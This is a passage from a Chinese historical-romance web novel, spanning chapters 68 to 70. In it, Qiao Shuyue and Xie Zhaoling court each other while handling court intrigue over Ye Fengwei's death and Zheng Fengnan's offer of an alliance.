她是讲理的人,从不会因为某人的出身低或是长相不合眼缘而背后诋毁。 谢昭凌好笑看着她,好像在说,表现得这般明显,乔誉怎能不起疑? 这一世和四哥关系太近,太要好,乔姝月总忘记那也是个心肝脾肺皆一团黢黑的人,她破罐子破摔道:“罢了,反正四哥总向着我们,知道就知道了吧。” 谢昭凌又不愿了,蹙眉道:“那还是只属于我们两个之间的秘密吗?” 乔姝月无言片刻,“你怎么什么醋都吃?我又不跟他说预知梦的事,他乐意猜就猜去吧。” 她料定乔誉肯定猜不到真相,暂时安心,又道:“他再试探你,你就说那姓叶的图谋不轨,所以我才防着他。” 谢昭凌迟疑道:“那我也得一起防着他?” 有人觊觎她,他不把人往死里整,乔誉还会连带着怀疑上他。 乔姝月睁圆眼睛:“难道你打算独善其身,不管我吗?!” 四目相对。 谢昭凌扶额笑道:“合着姑娘早就把我算上了。” “不然呢?你走的时候说我们一起承担,我忍了三年,怎么,如今你想赖账?” 谢昭凌虽先前信誓旦旦地回复乔誉说他不担心,说她真遇到棘手的事会想着他,可那到底是他一厢情愿,觉得自己在她心中有一席之地。 真听她亲口承认,说已将他划进自己人的阵营,心中还是不免欣喜。 他很喜欢这种互相之间有默契,有信任,能得到回应的感觉。 谢昭凌握住她的手,柔声道:“不赖账,我说过,会用攀云剑保护你。” 乔姝月被他直白的话语吓到,羞红了脸,别过头去,嘟囔:“我可没有怂恿你去做坏事。” 谢昭凌垂眸便将她羞赧的样子尽收眼底,喉结轻滚,抬手就要将她揽在怀中。 乔姝月往旁边躲了躲,嗔道:“小心伤。” 谢昭凌这会儿也不好说伤势无碍,毕竟他为了共乘一车,才刚装过一通柔弱。为了不再惹恼佳人,他只得暂时按捺冲动,忍耐着,安分下来。 乔姝月将自己知道的关于叶奉惟的消息都分享给谢昭凌: “你还记得前几年我二哥险些被当做替罪羊那事吗?那个案子的真凶是柳家旁支,人犯虽早已归案,但当年那事,未必没有叶奉惟掺和,他是叶家人,其中一位死者可是叶家的小姐。” “是谁教唆一个高门大户家的千金女扮男装,到那风流之地去?叶家人觉得叶小姐辱没门庭,不愿追究,这正好合了某人的意,使得他能在那场风波中全身而退。我想叶家内部必定有这样一个人,与叶小姐有私仇,会报复她。又因平日里不显山露水,不受人关注,所以才好做些欺上瞒下的事。” “叶奉惟此人自诩‘识时务’,会‘审时度势’,在我梦里,他一直想搭上二皇子,他定然早早就准备了,现在没准已经和柳家站在一起。” “他但凡接触过什么人,就必定会留下痕迹。”① “只不过……他还做过什么,我没有梦到过,所以也没去查证。” 乔姝月末了无奈道:“他和我三哥一直在国子监读书,我三哥也是今年才回家来住,所以我没机会接触他们,对叶奉惟的了解实在是知之甚少,只能靠着梦境,管中窥豹。” 谢昭凌微微颔首,都记下了。 乔姝月忽然想起,“哦对了,还有林公子,他们三人常在一处,我去问林公子也行得通。” “不要问他。”谢昭凌脱口而出,坚定道,“我帮你打听。” 顿了顿,手抚上胸口,疑似暗示:“我比他可靠得多。” 乔姝月:“……” 她无奈笑笑,“好好,你打听,我不问。” 马车拐过一条街,忽听后面有马蹄声靠近。 俩人安静了一会,便听林察打马靠近,走到车窗旁边,唤了一声:“乔姑娘。” 乔姝月打开竹帘,透过窗望去。 “抱歉,乔姑娘,”林察叹了口气,遗憾道,“方才家中来消息,说有贵客造访,让我速速回去,我……只能将你送到这儿了。” 乔姝月颔首,“林公子忙去吧,正事要紧。” 林察试探地往里看了一眼,只隐约见她身侧挨着个男人,挨得极近。 他深吸了口气,眸色晦涩,打了个拱手,调转马头,往家中去了。 乔姝月坐回去,只听身侧男人意味不明地笑了声:“我可不会将你丢在半路。” 乔姝月:“……” 她提醒道:“林公子是家中有事。” “我没有家。” 他接得飞快。 乔姝月气得抬手拧他胳膊,“你没完了?谁准你自挖伤疤的?” 谢昭凌低眉顺眼,认错道:“下次不敢了。” 拧完他,又用掌心给他揉了揉,埋怨道:“有些话不要随口乱说。” 她也是会心疼的。 “好。” 他笑着应下。 快到乔府,玉竹醒了。 醒来也没往主子那边看,脸对着门,只等马车一停,她就像泥鳅一般钻了出去。 乔姝月气笑了,“我看她就是在装睡!” 隔着帘子,玉竹扬声辩驳:“我可没有,只是不巧睁眼看到有人在打情骂俏,非礼勿视,只能继续睡下去。” 乔姝月羞得满脸通红,她抓不到玉竹,只能斜一眼身侧人。 那人认错认得极快,拉过她的手,在自己的脸上轻轻拍了一下,眉眼温柔,“姑娘消消气,都是在下的不是。” 乔姝月蓦地抽回手,提起裙子往外,在门边,动作一顿,回身问他:“你要随我一起进去吗?” 谢昭凌一愣,“我?” “嗯,我想……我与大夫人发生了冲突,这事你应该在场,帮我做个见证。” “好,我陪着你。” “等等。”乔姝月挑开帘,遣开外头守着的几人,又转身,打开窗子往外望了望。 见四下无人,她才拉着谢昭凌的袖子,把人拽着坐下。 她倾身靠近,拉开他的后衣领,往里看了一眼。 少女的气息四面八方,扑面而来。 谢昭凌蓦地攥紧腿上的袍子,抓出一片褶皱。 她压低声音,在他耳畔道:“阿凌哥哥,你背后的那个胎记,可有头绪吗?” 谢昭凌脑子发懵,声音微哑:“什么头绪?” “我……”乔姝月犹豫着开口,“我觉得,你若想寻生身父母,可以从这上头入手。” 他的胎记还挺特别的。 关于陛下的身世,前世他曾透露过三言两语。 那会他说,自己的父母都已经死了,因为是无关紧要的人,所以他没有对她说是谁。 谢昭凌体内涌动的热潮顿时冷却,眸子漆黑,神色复杂,“你怎知我要弄清身世?你梦到过吗?” “不曾梦到,是我猜的。” 既然前世他知道自己真正的生辰,那就说明他必定是寻到了。不论是线索主动送上门,还是有意探查,结果都是一样的,他知道是谁。 乔姝月:“你现在知道了吗?” 谢昭凌摇头。 乔姝月暗暗盘算,那就是之后的几年他会得到线索,前世这个年岁的陛下,在做什么呢?应该还在战场上,没有回西京。所以线索是在边境查到的吗? 那他今生早早回京,还能查到吗…… 也不知他的亲人现在是否还活着。若是能早些寻到,是否能免于一死? 谢昭凌没有说寻亲是为了娶她,只记着她的交代,说:“有消息会告诉你。” “好。” 她不担心他瞒着,只怕轨迹改变,他会错失机遇和缘分。 乔姝月笑了笑,“我们走吧。” 她欲往外,手臂又被人拉住。 一坐一站,四目相对。 男人低声问:“我若把叶家的事办妥,你可愿答应我?” 答应?什么? 她怔住,不明所以。 谢昭凌仰头望她,问得更直白:“我何时能到府上提亲?” 动作慢些,怕有人抢占先机。 乔姝月咬了下唇,羞赧地摇头。 谢昭凌沉默片刻,笑了,“那我就再等——” 脸颊上忽然一热,香唇蜻蜓点水,一触即离。 乔姝月只亲了一下,就快速远离。 她道:“我若因此而答应你,那我们之间不就成交易了?” “只看我何时心情好,没准一个寻常的清晨,我睁眼觉得今日该答应,就去找你了。” 乔姝月骄傲地扬起下巴,硬气道:“总之,接下来的每一日你都期待着吧,保不齐哪天你就得偿所愿了。” 她一股脑说完,再不敢看他。 聊起帘子,一溜烟跑下了车。 谢昭凌坐在原处,摸了下脸颊,默默平息凌乱的呼吸。 车窗忽然被人敲响。 而后是少女扭捏的声音,小声嘟囔: “你切莫乱想,就算你什么都不做,我也还是喜欢你。” 第69章 【69】 那场变故过后一个月,乔姝月都没再见到谢昭凌。 她中间借着给舅舅送东西的机会,往将军府跑了几次,没有一次见到他。 听管家说,小谢将军如今在御前当值,每日早早便进宫了,只不过因为还在养伤,下晌能得半日空闲。 乔姝月知道他进了禁军,圣旨下达之后,谢昭凌便第一时间传信给她了。 乔姝月蹙眉道:“可我前几日是傍晚来的,也没见到他。” 管家又说,虽然小谢将军每天只需当值半日,但休息的时间也不常在府,时常过了二更才回来。 每日早出晚归,连褚大将军也不是日日都能见到他。 乔姝月心事重重地回了家。 最初几次到将军府上,还能看到舅舅,近两回,连舅舅也难见影子。 他们两个神出鬼没,不知在忙什么。乔姝月心口发闷,预感要有大事发生。 果不其然,不出两日,预感灵验,有噩耗传来。 那几日阴雨连绵,冲淡了盛夏的暑热。 难得凉爽,乔姝月到了四哥院里,和他一起读书。 没一会功夫,便见玉竹慌慌张张跑过来说前院出了事。 和四哥一起赶到褚氏院里,才知是叶家的人找上了门,逼问乔束关于叶奉惟的下落。 乔束茫然不知,称自己也已五日没见过叶奉惟。 叶家主母气势汹汹,任乔束如何否认都不信,说人已经失踪有三日,问了一圈人都说不知情,只剩下乔束。乔束和叶奉惟关系最好,说乔束肯定知道下落。 褚氏被吵得头疼,索性让乔良去报了官。 乔束五日内没离开过乔府,阖府上下皆能为其作证。还有吏部尚书长孙林察,这些日子林察往乔府跑得勤快,和乔束整日都在院里研习功课,林察也可为其作证。 乔束没有嫌疑,官府的人很快离开,带走了来闹事的叶家人。 等到晚上,又有消息传来,说叶奉惟人找到了,死尸倒在城外荒废的土地庙里。 有千翎卫看到叶奉惟三日前出了京城,而后各个城门都未见他回来过,初步可断定他在城外遇难。 乔束只以为好友失踪,未曾想竟是死了,他和叶奉惟同窗数载,同进同出,亲如手足,他无论如何都不接受这个结果,急急忙忙就要往外去,被褚氏派人死死拦住。 府上乱作一团,乔姝月打着伞,在濛濛细雨中,悄悄从角门出府。 马车驶离乔府,乔誉从墙后走了出来,他看着马车渐渐远去,一语不发。俞升牵来了马,乔誉翻身而上,不远不近,跟了上去。 乔姝月也说不清为什么,她直觉今日到将军府,一定能见到谢昭凌。 她的直觉总是十分准确。 这边到了将军府外,才刚下马车,管家便迎上来,恭恭敬敬:“姑娘请,小将军已恭候多时。” 乔姝月抿紧唇,快步往里走。 一路走到书房,远远就瞧见门敞着。 天空中忽然雷光一闪。 闷雷声轰隆隆的,天空中的乌云漆黑一片。 房中明亮的灯影打在门前。 乔姝月慢慢走近,踏进了光里。 迈过门槛,面前就是一张方桌,书案后空无一人。 她迟疑片刻,侧方忽然闪过一个人影。 手臂被人一拉,她惊呼一声,向旁边倾倒,落进一个温暖坚实的怀里。 房门被人从内侧关紧。 而后密密实实的吻便落了下来。 屋中灯火通明,乔姝月看清了面前人,睫毛微颤。 男人睁着眸,眼底略带倦色,正一边吻住她的唇,一边温柔地回望着她。 乔姝月闭上眼睛,手臂主动地勾缠住他的脖颈,热烈地回应。 一个月未见,彼此间的想念都在这个缠绵而持久的吻中倾诉出来。 她毫无保留的回应,彻底点燃了他强忍的欲念。 再难忍耐,将人就近抵在门板上,手捧着她的脸颊,低下头,吻得更深。 好一会功夫,才分开彼此。 额头相抵,呼吸急促而凌乱。 男子眸光深暗,指尖抹过她红肿的唇,指腹勾走一抹暧昧的晶莹,他哑声道:“不是我做的。” 顿了顿,发觉有歧义,他张嘴想要补充,唇忽然被人堵住。 他微微睁大了眸,没想到她会主动再亲过来,一时间没了动作。 乔姝月踮起脚,抓着他衣襟,轻轻贴了一下他嘴唇。 谢昭凌脑子里顿时什么正事都忘了,滚烫的掌心按在她肩头,正欲再次低头,与她勾缠在一起。 却见怀中人灵活地从他身前挤了出去。 乔姝月腿脚发软,踉跄两步,快速逃离,走到书案前,眸中含着水波,似羞似恼嗔了他一眼,“什么不是你做的?我不是你亲的?” 谢昭凌手臂撑在门上,深深呼吸,缓了片刻,才转身,走到她跟前。 和她隔着一人的距离,没敢再靠近。 他哑着嗓音道:“叶奉惟,不是我杀的。” 乔姝月恼他无故招惹自己,把自己心情都搅乱了,又气他非要在正动情的时候说晦气的事,让她心里没着没落的。 她坐到他的位置上,仰着头问他发生了什么。 这屋里明明还有第二把椅子,可谢昭凌偏偏不坐,就在她身前蹲下,单膝抵在地上,拢住她搭在膝上的手。 抓起来,放在唇边亲昵地吻了吻,才道:“是郑丰南。” 这一个月时间谢昭凌确实在搜集关于叶家的线索,顺便探查自己的身世。 郑丰南不知从哪得来的消息,知道他对叶奉惟格外关注,便主动找上他问了一次。 谢昭凌还没有决定与郑丰南合作,于是随口敷衍过去。 郑丰南以为是叶奉惟惹到了他,便自作主张,将叶奉惟给处理了。 “昨日郑丰南送信给我,承认是他做的。” 谢昭凌从怀里掏出一封信和一个飞镖。镖尖锋利,戳一下就能见血。 谢昭凌漫不经心地把玩着飞镖,淡声道:“我走在皇宫里,这信就忽然飞了过来,被我接住。” 皇宫里也有柳三爷的内线,还不知是谁。 “他约莫想向我邀功。”谢昭凌勾了下唇,冷笑道,“殊不知,他抢了本属于我的功劳。” 他还想着,办妥了叶奉惟的事以后,向他的心上人讨要奖赏。 这下没了,全都没了。 乔姝月脸上的红晕散去,眉头紧紧蹙起,暗自思索郑丰南的意图,语气微沉:“自你回京起,郑丰南频频向你示好,是不是?” “嗯。” 不止这回,早在当年,郑丰南对他的态度就很耐人寻味。 乔姝月面上思虑更甚,低声呢喃:“他究竟意欲何为……” “阿月,我不会让你再受到伤害。” “我不担心自己,我在想你。”乔姝月抬眼,“他这么帮你,说别无所图我是不信的。” 谢昭凌沉默片刻,走到床头,从木匣中掏出一沓厚厚的信件,交到了乔姝月的手里。 “这是我查到的所有,关于郑丰南。” 关于他的来历,他作为徽商时在老家的全部底细,进京后以悦泉楼东家这个身份做的事,还有他后来又离开京城,帮他的主子又做了什么,林林总总,大事小事,加在一起有数十封密函。 必定还有不少遗漏,但光凭这些,也足够令人咋舌。 因为郑丰南举止反常,所以谢昭凌在握有权势的第一刻就着手调查。这些年积攒的许多情报,此刻都捏在乔姝月的手里。 谢昭凌随口道:“许是他知道我捏着他的把柄,所以愈发迫切希望我能和他共事。” 他并不相信“惜才”这类肤浅的说辞,单单一个欣赏,不足以支撑郑丰南做这么多利好他的事。 若是互相牵制,倒还说得通。 毕竟他的身世郑丰南也查出了一些,他们互相捏着彼此的软肋,只差一个台阶,走到一起便是顺理成章。 乔姝月打开了其中一封,看到一半处,瞪大了眼睛,错愕道:“他竟与柳贵妃青梅竹马,还有过口头上的婚约?!” 谢昭凌微微颔首,想起郑丰南曾说过—— “少年人的感情不值几个钱,她现在待你好,等再过几年要嫁人时,她的父母就会待价而沽,为了家族的荣耀,将她卖出去,你们之间的感情,怎能作数?” 那时郑丰南看似在挑拨他和乔姝月的关系,实则只是出于自己的情感经历有感而发。 乔姝月道:“贵妃娘娘确实是在先贵妃重病时,被柳家接回京的。” 身为皇子之母的大女儿病故,便急匆匆将老家的小女儿送进宫里,巩固家族在后宫的地位。 谢昭凌道:“郑丰南应是因为贵妃才来的京城,也是因为她,甘愿给柳三爷做走狗。” 这也能解释,为何郑丰南并不是向着二皇子的。因为他恨柳家,或许还恨上了贵妃,只等着看他们满盘皆输,而真正的赢家是谁,他并不在意,只要不是二皇子和贵妃就好。 “至于柳三爷为何要通敌叛国,为何要与家族作对,我暂时不知,要等我和柳三爷见上面。” 听说那人近来也回了京城,只待一个相遇的契机。 乔姝月蓦地抬头,直勾勾看着他,“你要答应郑丰南的合作吗?” 谢昭凌揽住她的腰,微微俯身,唇贴着她的耳朵:“阿月想让我答应吗?” 乔姝月微微阖眸,努力思索前世的种种。 半晌,睁开眼睛,目光清明而坚定:“答应他。” “好。” 谢昭凌没有一丝犹豫,这叫乔姝月松了口气。 他笑道:“怎么,是梦境指引了你吗?” 乔姝月目光躲闪,支支吾吾:“算是吧。” 拿到郑丰南的底细后,她几乎可以确定,前世就是郑丰南一直在帮他。 既然知道郑丰南不会害他,为了不破坏他的命格,她必定要纠正轨迹,让郑丰南再度来到他身边。 眼下正是最合适的时机。 正欲再说什么,管家忽然敲了下门,在门外回:“小将军,有客来访,又是那位姓郑的公子。” 屋中二人皆沉默下来。 四目相对,谢昭凌读懂她的示意。 他走到门口,“请他来书房一叙。” 管家应声退下,乔姝月也打算离开。 谢昭凌没拦她,张开手臂,想要再抱抱她。 乔姝月忽然顿住身子,抬手将人推开。 谢昭凌委屈地垂下眼,以为自己把人惹恼,又被厌弃,泄气道:“好吧,那路上——” 小心二字还未出口,便听她试探道:“我可否留下来,偷听你们谈话?” 谢昭凌:? 渐渐地,他嘴角翘起来,忙不迭地应道:“当然,随便听。” 他没有什么是她不能知道的。 只是…… 谢昭凌环顾四周,为难道:“我这里无处藏身,除非……” 他拉着人,走到床榻前,指指里头,眼神无辜,“你躲进去?” 他房间里连扇遮挡的屏风都没有,站在门口便将整个屋子的陈设收入眼底。 除非放下床帐,躲到床榻里头去。 乔姝月无可奈何,“好吧。” 谢昭凌唇角弧度难压,轻咳了声,吞掉笑意,“委屈阿月了。” 乔姝月脱鞋上榻,缩进被子里,盖得严严实实,只露出颗脑袋。 她眯起眼睛,“你最好没有旁的心思。” “怎会,我可是正人君子,什么都没想。” 某位自诩正派,却在为心上人整理被子时,硬生生地停了半晌。 君子当了没两句话的功夫,便本性暴露。 在他睡过的床榻上,躺着他心爱的女孩。 被子盖在她的身上,沾染了她的味道,等他夜晚再用时,就好像将她抱进了怀里。 一想想,浑身的血液都沸腾了起来。 他克制不住,手指扫过她微烫的脸颊,低声笑道:“你知道此刻像什么吗?” 乔姝月垂着眼睛,并不看他,“什么?” “像新婚夜后。” 清晨起来,他换好衣裳,坐在榻沿,安静地凝视着才刚醒来的妻子。 那时的她一定和现在一样美。 “才不像。”乔姝月咬住唇,面颊羞红,她别过头去,赧然地赶他,“快走,等会人来了。” 谢昭凌有一瞬间失神,轻声道:“是不太像……” 他抬手抽走她的发簪,少女墨发如瀑,倾洒在他的榻上。 这才有几分初醒时的样子。 在她震惊的目光下,轻笑一声。 “这样就像了。” 第70章 【70】 郑丰南踏进书房,抬眼便见男人懒洋洋地坐在书案后。 他敞着外袍,露出里头雪白的寝衣,墨发披在背后,单手支颐,神情恹恹。 听到动静,只微抬了下眼,淡淡一瞥,眼皮便又耷了回去。 似乎对来访者并不欢迎。 郑丰南原本面带笑容进来,见状笑意顿住,慢慢地,神情变得复杂。他微眯着眸,站在门口,安静地打量起来。 管家在身后出声:“小将军,药已放温,该喝了。” 郑丰南回头,见一小厮端着白碗走近。 那小厮不言不语,走路也没声音,显然是有些功夫在身上的。 见屋中的男人“嗯”了声,小厮才敢踏进屋子,将药碗放下,而后半刻不停,又退了出来。 谢昭凌将药一饮而尽,放下碗,用帕子擦了嘴,才慢声道:“郑公子,还站在门口作甚,下着雨,都淋湿了。” 郑丰南低下头,摸了下自己潮湿的袖子,深吸口气,再抬起头,面上又挂上和善的笑容。 房门紧闭。 二人既是熟识,也不再多做寒暄。 郑丰南道:“谢将军,我送你的礼物,想必已收到了?” 不提这个还好,一提这个,谢昭凌很难对他露出好脸。 郑丰南察言观色的本领一向很强,一见他这表情,便知事情不知哪里出了差错。 郑丰南讪笑了两声,含糊道:“罢了,那事已经过去,不再提了。今日在下叨扰,不为邀功,是有更要紧的事。” 从前每次见面,郑丰南都要苦口婆心地同他说上许久的交心话,今日也不知怎么,许是赶时间,他语速都比平常快上几分,更是免去说废话的功夫,直奔主题。 郑丰南郑重地打了个拱手,语气诚恳:“在下想把将军引荐给三爷。” 谢昭凌这才抬头,正式看向郑丰南,纳闷道:“我并未答应与你合作,为何要见他。” “谢将军近来比初回京时风头更胜,竟还搏得了陛下的青眼,实乃青年才俊,前途无量。想必近来有许多人都明里暗里想拉拢你……将军当然可以继续考虑,但是,看在咱们认识多年,我又帮过你许多次的份上,请将军给一个机会,跟我去见三爷一面。” 郑丰南没等他拒绝,又忙道:“你相信我,见过他,你会同意与我们共谋大事的,他……他与你想象的不同。” 谢昭凌向后靠在椅背里,勾了唇角,漫不经心道:“我从未想象过他。” “那将军今夜可以想一想了,三爷这次不知要在京城留多久,我们要见他得尽快。” 谢昭凌沉默片刻,将其中一只手里一直把玩的飞镖随手一掷。 郑丰南蓦地闭紧双眼,只感觉一道劲风擦着自己的耳朵刮了过去。 咚——!! 而后响起脚步声,谢昭凌慢慢走到他面前。不用回头,他都知道刚刚那是什么。他苦笑道:“将军恕罪,在皇宫之中,我们的人不便现身,只能如此。” 这几年过去,少年长高了不少,如今竟需要他微微仰头,才能对上他的眼睛。 这 璍 双眼睛,已能让他下意识生出畏惧的心。 谢昭凌垂眸道:“你的主子常年不在京中,却能搅动风云,也实在是个厉害人物。” 郑丰南惭愧道:“将军过奖。” 谢昭凌轻笑了声,意味深长:“他通敌叛国,总要有大本营才对?” 郑丰南倏地噤声,垂下头,避而不答。 “边境的线都已拔除干净,他不在京城待着,还能去哪?” “将军不必激我,若决定与我们同谋,这些你自然都会知晓。”郑丰南咬紧牙关,半分不肯透露,他怕对方再为难自己,目光隐晦地往里头看了一眼,他压低声,“将军,这些话在下不想说给乔姑娘听。” 谢昭凌蓦地转过头,目光深寒,带了几分凌厉的压迫感。他下意识就要去摸腰间的剑,摸了个空,才想起来方才脱衣时,将剑也卸下了。 郑丰南被他这个动作惊得头皮发麻,连连往后退了两步,拱手告饶:“将军,我来时在外头见到了乔府的马车,还有乔姑娘身边常伺候的人。” 他无奈道:“下回私会,千万记得让下人走远些。” 谢昭凌:“……” 床帐之内,乔姝月默默拉高被子,将自己的脑袋也埋了进去。 她无声嘟囔反驳:“才不是私会。” 她来舅舅家串门而已,怎么就见不得人了? 可是她头埋在他的被褥间,男子的气息将她密密实实包裹。 脸颊慢慢升温。 眼下说不是私会,确实不能令人信服。 乔姝月一时分心,加上帘子外的交谈声低了下去,有几句话她没听清。 等她屏息再去偷听,郑丰南已经准备告辞。 人走到门口,打开门,外头的风顿时吹了进来。 床帐随风鼓动,露出了被子一角。 郑丰南没敢往那边看,垂着眼睛,好心提醒:“人家四哥一路跟过来,此刻就在外头守着,我也瞧见他了。将军……保重。” 谢昭凌:“……” 乔姝月:“……” 人渐行渐远。 谢昭凌将门关合。 他走到床边,沉默片刻,将帘子拉到两边,用钩子重新挂好。 乔姝月从被子里探出头,不知是闷的还是羞的,脸通红一片,连脖颈都染上一层红晕。 谢昭凌坐在她身边,二话不说,将人拥进怀里。 乔姝月抬手揪住他的衣袍,往外扯了扯,埋怨道:“你为何将自己的衣裳也脱了?!” 他穿成这样,多引人误会啊,明明他们之间什么都没发生。 谢昭凌靠在她肩头,闭上眼睛,“防着他猜到你在这,干脆让他以为,我们之间已有……” 后头的话他隐去,偏过头,吻上她的耳朵。 乔姝月颤了两下,往他怀里躲,“你这话好没道理,防他猜到,索性暴露给他,这是怕他不知?” 谢昭凌在她耳畔低声笑道:“他若诚心拉拢我,自此之后,必定会同样忌惮着你,不会再轻易伤害你。” “我想他也知道了我的意图,为了讨好我,他也会保着你。” 至于郑丰南为何会讨好他,他还没想明白。 他不觉得自己有那么重要,一定还有他不知道的理由。 既知道柳三不是和柳氏站在一边,那他可以借柳三之手,借力打力,将整个柳氏拖垮。 柳氏一族几次三番害她,早该消失了。 当然,脱掉外袍,摘下发冠,更多的是满足他的私心。 比如—— 他们此刻衣衫不整地拥抱在一起,比方才更像新婚。 二人在床榻之间又耳鬓厮磨了一阵。 他抱着她不撒手,一亲上就没完。 乔姝月不敢推他胸口,只好虎口卡住他的喉咙,把人往后推。 感受到掌心处喉结滑动,她又赶忙松手。 谢昭凌笑着退开,调侃道:“谋杀亲夫?” 乔姝月面红耳赤,恼道:“想得美!” “是想得太美了。”谢昭凌摸了下喉咙,笑道,“做梦都想做阿月的夫婿。” 这油嘴滑舌的模样,愈发有前世陛下的样子。 乔姝月拢着肩侧的长发,躲开他炙热的目光,往床下爬,“走了,四哥还在,小心他等会冲进来和你拼命。” 她坐在床边,低头找鞋子,“你这儿可有梳妆的地方?我总不能这样披头散发地出去。不然你让玉竹进来,她帮我整理。” 找半天没看到鞋,一抬头见谢昭凌不知从哪将鞋变了出来。 他拎着绣花鞋蹲下去,抓着她的小腿,就要为她穿鞋。 乔姝月害羞地往回缩,手去拉他衣裳,局促道:“你快起来,这不好……” 前世陛下都没对她做过这些,这未免太卑微。 谢昭凌手掌握着她的脚,眼尾微扬,无所谓地笑了声,“伺候姑娘,不是我应尽之事吗?” “你还真把自己当下人了?” 乔姝月看着自己的脚被人塞进鞋里,不好意思地抬袖遮住脸。 腿被人放下,他又起身靠近,帮她整理衣领。 乔姝月放弃挣扎,任他摆弄。 末了他手指勾起一缕长发,说道:“我可以帮你挽发。” 乔姝月放下袖子,诧异道:“你又会?” 他们还小时,他就会梳小女孩的发髻。怎么她及笄了,他还会。 事实证明,他不是信口开河。 乔姝月透过铜镜,看向身后专注为她挽发髻的男人,酸溜溜道:“这又是你从哪个女孩身上学来的?” 谢昭凌看了镜子一眼,对上她谴责又怀疑的目光,弯唇道:“和一个伍长学的,他家夫人双臂残疾,每日都是他为夫人梳发。” “伍长家里没有婢女,或是其他女性亲戚吗?” “没有,他家境贫寒,买不起婢女仆从。” 乔姝月错愕不已:“那他出来打仗,他夫人在家中谁照顾?” 谢昭凌表情淡了下去,“他被强行征兵,哪顾得了那么多。村里只几户邻居,家中也都没有男人了,一群老幼妇孺,相互帮衬着生活。” 他手上动作停下,缓缓吐息,将情绪压下去,才道:“他走后没一个月,他夫人就故去了。” 乔姝月瞳仁轻颤,沉默下去,不再开口。 男人手指灵活,几下就将她一半的头发扎起来,他轻声道:“伍长说他和夫人是青梅竹马,什么年龄的发髻都会,我便同他全学了一遍。” 乔姝月情绪低落,“嗯”了一声。 而后两人谁都没有再说话。 等发髻束好,谢昭凌亲手将发簪插到她头上。 乔姝月看着镜中的自己,一时间有些恍惚。 前世陛下从未帮她挽发。或许因为他们早不相识,他没在军营里和那个伍长学过,所以他不会。 如今他会的倒是比前世还多。 乔姝月站起身,欲言又止地望着他,最终还是什么都没说,只道:“我该走了。” 她转身要往外。 忽然被人从身后抱住。 他抱着她说:“在遇到你之前,我是个不幸的人,每日想的都是如何摆脱追兵,以及我为何还要挣扎下去。” “遇到你之后,我开始不再思考活下去是否有意义,我知道了人但凡活在世,就必定要为这世界留下点什么。” “当初虽然算是逃离,可于我而言,也是走上了另一条更开阔的路。”谢昭凌声音很低,听上去有些难过,“阿月,我在外面,见了太多苦命人。” “我总在想,你当初救了我,改变了我的命运,那我是否也可以帮帮他们。” “我想为自己积点德,这样就算曾做过什么坏事,也能抵消一些。” 他不想自己遭报应死得太早,他还想和她长久地在一起。 乔姝月抬手按在他手臂上,“阿凌哥哥,不是说杀过人,就算做了坏事。” 不杀旁人,死的就是他们。 这只是他在自保而已。 如今这个世道,心慈手软才是大忌,活不长久的。 谢昭凌将人放开,扳正她的身子,面对着她,小心翼翼试探:“若我之后要做什么大逆不道的事,你会不会厌弃我?” 乔姝月知道他所说为何事,直白问道:“谋反吗?” 谢昭凌没言语。 她笑了笑,摇头,她主动上前,双臂勾住他的腰,投入他怀中,亲昵地蹭了蹭,“去做便是,我不会阻你。” 谢昭凌又默了良久,轻声呢喃:“不该有那么多战乱。” 四处征兵,穷兵黩武,又克扣军粮,冻死了远离家乡的战士们。这样的君王,真的值得人追随吗。 谢昭凌将人抱紧,埋在她肩头,深深呼吸,汲取能量。 等他们二人从府门出来,已然又过了半个时辰。 乔誉举着伞,孤身站在雨中。 雨一直不大,但衣袍下摆全都湿了,显然已经站了许久。他见到他们,才从阴暗处走出,直直迎上去。 他走得不快,面上也没什么恼怒的表情,可乔姝月却觉得他气势汹汹,已经快要克制不住。 她眼皮一跳,赶忙小跑过去,拉住哥哥的手臂,撒娇:“四哥,你怎么不进去,都淋湿了,月儿好心疼。” 乔誉没搭理她,却也没将她拂开,毕竟妹妹怎样都没有错,错的只能是别人。 他看到她的发髻与离家时不同,再一看身后那个男人面上一副神清气爽的模样,他一颗心就往下沉。 抬手将妹妹护在身后,又将伞递给她。 毫无预兆,一言不发,用力地朝男人挥拳。 谢昭凌没有躲,硬生生挨了这一下。 自回京起,乔誉便想揍他一顿,今日终于得偿所愿。 一下不够,还想再来,乔姝月尖叫一声,忙上前拦。 “四哥!四哥,他没对我如何,你别打他!” 乔誉心知这男人虽坏,但对妹妹是呵护万分的,不至于没名没分就把人要了。 但正因无名无分,才更不应该故意引人误会,败坏妹妹的声誉。 谢昭凌低眉顺眼,温顺道:“四哥,别伤着手。” 乔誉:? 乔誉素来低调文雅,如今也被这狗男人逼得撕下多年的伪面,露出几分不曾示人的尖锐来。 他指着人,沉声警告:“我明日来找你,别躲。” 谢昭凌笑得友善,“我恭候着,四哥。” 乔誉被恶心得要命,又要冲上去揍人,被乔姝月拼命给拖走了。 兄妹俩拉拉扯扯往回走,能听到小姑娘替他说话: “他受了那么重的伤,险些没命,你怎能打他?” “他又不是因我受的,为何不能打?莫要以道义之名来捆绑约束我!” “哎呀,他受了伤,四哥宽恕他一回嘛。” “你翻来覆去没别的可说了是不是?罢了,待我明日再来算账。” “那我同你一起来。” “我告诉父亲去。” “四哥,你多大了还告状啊!你从前不这样!” “他从前也是要脸之人。”乔誉甩了下袖子,被气得不轻,脱口骂道,“他那么老,叫谁四哥!” 乔姝月:“……” 当晚乔誉被膈应得失眠一宿,转日去找谢昭凌发泄了一通。后来力竭,就赖在将军府上好好睡了一觉,又一夜过去,神清气爽,才勉强消气。 再转日,宫中忽然有风言风语传来出来—— 太子生病了。 这事其实不算严重,太医说是偶感风寒,养上几日就能好。 可乔姝月知道,太子不会好起来。他会重病,直到一年后病故。 从这时起,朝局变得混乱,距离乔氏遇难也愈来愈近。 有些事要在一切发生之前先解决,再拖下去,不知还有什么变数。 若真等他站到柳三爷身边,乔家还能接受他吗?乔家人可不知柳三爷和柳氏一族不是一条心。 乔姝月闷在房中,认真思考了一天一夜,终于在清晨时,写下一封信,命紫棉送去将军府,亲手交到谢昭凌手中。 谢昭凌一早起床,一如往常地画了一副美人图。 画毕,紫棉的信送了过来。 谢昭凌展开信件,上头只有简单平常的几句话和一首诗。 “今日心情好。” “早起读了一首诗,有一句不懂,想请教阿凌。” “春日游,杏花吹满头。陌上谁家年少,足风流。妾拟将身嫁与,一生休。纵被无情弃,不能羞。”① “阿凌你说,她会被抛弃吗?” 开篇一句话,便叫谢昭凌瞬间想起那日分别时她的话—— “只看我何时心情好,没准一个寻常的清晨,我睁眼觉得今日该答应,就去找你了。” 那句话,再配上这样一首直白热烈的情诗,足以令他欣喜若狂。 